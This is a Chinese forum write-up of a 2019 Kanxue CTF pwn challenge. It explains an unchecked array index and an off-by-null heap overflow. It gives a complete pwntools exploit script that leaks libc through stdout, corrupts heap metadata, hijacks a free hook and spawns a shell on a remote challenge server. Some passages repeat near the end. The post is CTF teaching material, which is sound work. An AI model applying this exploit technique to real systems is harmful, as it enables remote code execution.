首页
社区
课程
招聘
1
[原创]看雪CTF2019Q3第四题WP
发表于: 2019-9-25 18:23 6128

[原创]看雪CTF2019Q3第四题WP

2019-9-25 18:23
6128

一、漏洞

        存在2个漏洞点,都在编辑函数中
       
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
struct vmpInfo *__fastcall vmp_opcode_0x08_setCmpFlag(struct vmpInfo *result, unsigned int subValue, char size, __int16 a4)
{
  result->global->cmpReg |= a4 & 1;
  result->global->cmpReg |= a4 & 0x800;
  if ( (signed int)subValue <= 0 || subValue >> (size - 1) )
  {
    if ( subValue )
    {
      result->global->cmpReg |= 0x80u;          // 小于标志
      result->global->cmpReg &= 0xFFFFFFBF;
    }
    else
    {
      result->global->cmpReg &= 0xFFFFFF7F;
      result->global->cmpReg |= 0x40u;          // 等于标志
    }
  }
  else
  {
    result->global->cmpReg &= 0xFFFFFF7F;
    result->global->cmpReg &= 0xFFFFFFBF;
  }
  if ( !(subValue & 1) )
    result->global->cmpReg |= 4u;
  result->global->cmpReg1 = result->global->cmpReg;
  return result;
}
1、 漏洞点1:没有对输入的索引进行范围判断,造成数组越界
2、在对BUF写入是存在0字节溢出漏洞,多写一个0到堆中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
char *__fastcall readBuf(char *buf, int size)
{
  char *result; // rax
  int i; // [rsp+1Ch] [rbp-14h]
  char s; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]
 
  v5 = __readfsqword(0x28u);
  memset(&s, 0, 8uLL);
  for ( i = 0; i < size; ++i )
  {
    if ( read(0, &s, 1uLL) <= 0 )
      exit(1);
    if ( s == 0xA )
      break;
    buf[i] = s;
  }
  result = (char *)(unsigned int)i;
  if ( i == size )
  {
    result = &buf[i];
    *result = 0;
  }
  return result;
}
二、漏洞利用
1、可以使用漏洞1进行打印出libc以及exe基址: 利用具体利用的是 _IO_2_1_stdout_。
      输入索引-6后可以更改 _IO_2_1_stdout_ 的内容。漏洞具体利用参考:利用 _IO_2_1_stdout_ 泄露信息
2、0字节溢出漏洞即为 off-by-one漏洞,具体参见:off by null漏洞getshell示例
三、获取shell
1、首先 _IO_2_1_stdout_利用它可以打印出libc地址
2、由于程序hook了 malloc_hook与free_hook,因此在libc中存在exe的函数,将其打印出来既可以获取exe基址
3、申请5个0xF8大小chunk
4、编辑3号内存,输入如下数据,并造成溢出,更改4号chunk的pre_used标志位0
1
ayload = p64(0x110) + p64(0xf1) + p64(thunk_ptr - 0x18) + p64(thunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0) 
其中thunk_ptr = pwn_base + globalVar_offset + 0x38
5、删除4号内存
使得3号内存数组指针执行2号内存地址
6、编辑3号内存,使得2号内存指向想要写的地址,就可以实现任意地址写。
三脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#!/usr/bin/python
 
# coding:utf-8
 
from pwn import *
 
from zio import *
 
#context(log_level='debug')
 
__malloc_hook_ptr_offset = 0x3C3EF0
 
 
libc_base = 0
system_offset = 0x45390
freehookBk_offset = 0x202058
globalVar_offset = 0x202080
 
 
 
 
def menu(cmd):
 
    io.sendlineafter("4.quit",str(cmd))
 
 
 
def add(size):
 
    menu(1)
 
    io.sendlineafter("Input size : ",str(size))
 
 
def delete(index):
 
    menu(2)
 
    io.sendlineafter("Input idx : ",str(index))
     
 
def edit(index,data):
 
    menu(3)
 
    io.sendlineafter("Input idx : ",str(index))
 
    io.sendlineafter("Input text : ",data)
 
if __name__ == '__main__' :
 
    #io = process('./pwn')
    io = remote('154.8.174.214', 10001)
 
 
    #get libcBase
 
    edit(-6, p64(0xfbad1800)+p64(0x0)*3+'\x60')
 
    data = u64(io.recv(6).ljust(8,'\x00'))
 
        libc_base = data - 0x3C56A4
 
    print 'libc_base = '+ str(hex(libc_base))
    system_addr = libc_base + system_offset
    print 'system_addr = '+ str(hex(system_addr))
 
    #get pwn base
    __malloc_hook_ptr = libc_base + __malloc_hook_ptr_offset
    print '__malloc_hook_ptr = ' + str(hex(__malloc_hook_ptr))
 
    edit(-6, p64(0xfbad1800)+p64(0x0)*3+ p64(__malloc_hook_ptr))
 
    pwn_malloc_hook_ptr = u64(io.recv(6).ljust(8,'\x00'))
 
    print 'pwn_malloc_hook_ptr = '+ str(hex(pwn_malloc_hook_ptr))
    pwn_base = pwn_malloc_hook_ptr - 0x202020
    print 'pwn_base = '+ str(hex(pwn_base))
     
    thunk_ptr = pwn_base + globalVar_offset + 0x38
    feehookBk_addr = pwn_base + freehookBk_offset
    print 'thunk_ptr = '+ str(hex(thunk_ptr))
    print 'feehookBk_addr = '+ str(hex(feehookBk_addr))
 
   add(248)
 
    add(248)
 
    add(248)
 
    add(248)
 
    add(248)
    add(248)
    print 'add ok'
    payload = p64(0x110) + p64(0xf1) + p64(thunk_ptr - 0x18) + p64(thunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0) 
    edit(3, payload)
    print 'delete 4' 
    delete(4)
 
    payload = p64(0xF8) + p64(feehookBk_addr)
    edit(3, payload)
    print 'feehookBk_addr ok'
    payload = p64(system_addr)
    edit(2, payload)
    print 'system call ok'
    edit(1, '/bin/sh\x00')
    print 'shell bin'
    delete(1)
     
    print 'get shell'
    io.interactive()
 
 
   #gdb.attach(proc.pidof(io)[0])
 
        print 'pause...'
 
 
 
  
 
     
 
         
四: flag = flag{4ca9ae5d7c835994cc62d34f92ef95ce}



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
struct vmpInfo *__fastcall vmp_opcode_0x08_setCmpFlag(struct vmpInfo *result, unsigned int subValue, char size, __int16 a4)
{
  result->global->cmpReg |= a4 & 1;
  result->global->cmpReg |= a4 & 0x800;
  if ( (signed int)subValue <= 0 || subValue >> (size - 1) )
  {
    if ( subValue )
    {
      result->global->cmpReg |= 0x80u;          // 小于标志
      result->global->cmpReg &= 0xFFFFFFBF;
    }
    else
    {
      result->global->cmpReg &= 0xFFFFFF7F;
      result->global->cmpReg |= 0x40u;          // 等于标志
    }
  }
  else
  {
    result->global->cmpReg &= 0xFFFFFF7F;
    result->global->cmpReg &= 0xFFFFFFBF;
  }
  if ( !(subValue & 1) )
    result->global->cmpReg |= 4u;
  result->global->cmpReg1 = result->global->cmpReg;
  return result;
}
1、 漏洞点1:没有对输入的索引进行范围判断,造成数组越界
2、在对BUF写入是存在0字节溢出漏洞,多写一个0到堆中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
char *__fastcall readBuf(char *buf, int size)
{
  char *result; // rax
  int i; // [rsp+1Ch] [rbp-14h]
  char s; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]
 
  v5 = __readfsqword(0x28u);
  memset(&s, 0, 8uLL);
  for ( i = 0; i < size; ++i )
  {
    if ( read(0, &s, 1uLL) <= 0 )
      exit(1);
    if ( s == 0xA )
      break;
    buf[i] = s;
  }
  result = (char *)(unsigned int)i;
  if ( i == size )
  {
    result = &buf[i];
    *result = 0;
  }
  return result;
}
二、漏洞利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
char *__fastcall readBuf(char *buf, int size)
{
  char *result; // rax
  int i; // [rsp+1Ch] [rbp-14h]
  char s; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]
 
  v5 = __readfsqword(0x28u);
  memset(&s, 0, 8uLL);
  for ( i = 0; i < size; ++i )
  {
    if ( read(0, &s, 1uLL) <= 0 )
      exit(1);
    if ( s == 0xA )
      break;
    buf[i] = s;
  }
  result = (char *)(unsigned int)i;
  if ( i == size )
  {
    result = &buf[i];
    *result = 0;
  }
  return result;
}
二、漏洞利用
1、可以使用漏洞1进行打印出libc以及exe基址: 利用具体利用的是 _IO_2_1_stdout_。
      输入索引-6后可以更改 _IO_2_1_stdout_ 的内容。漏洞具体利用参考:利用 _IO_2_1_stdout_ 泄露信息
2、0字节溢出漏洞即为 off-by-one漏洞,具体参见:off by null漏洞getshell示例
三、获取shell
1、首先 _IO_2_1_stdout_利用它可以打印出libc地址
2、由于程序hook了 malloc_hook与free_hook,因此在libc中存在exe的函数,将其打印出来既可以获取exe基址
3、申请5个0xF8大小chunk
4、编辑3号内存,输入如下数据,并造成溢出,更改4号chunk的pre_used标志位0

[注意]看雪招聘,专注安全领域的专业人才平台!

收藏
免费 1
支持
分享
赞赏记录
参与人
雪币
留言
时间
PLEBFE
为你点赞~
2023-1-22 03:01
最新回复 (0)
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册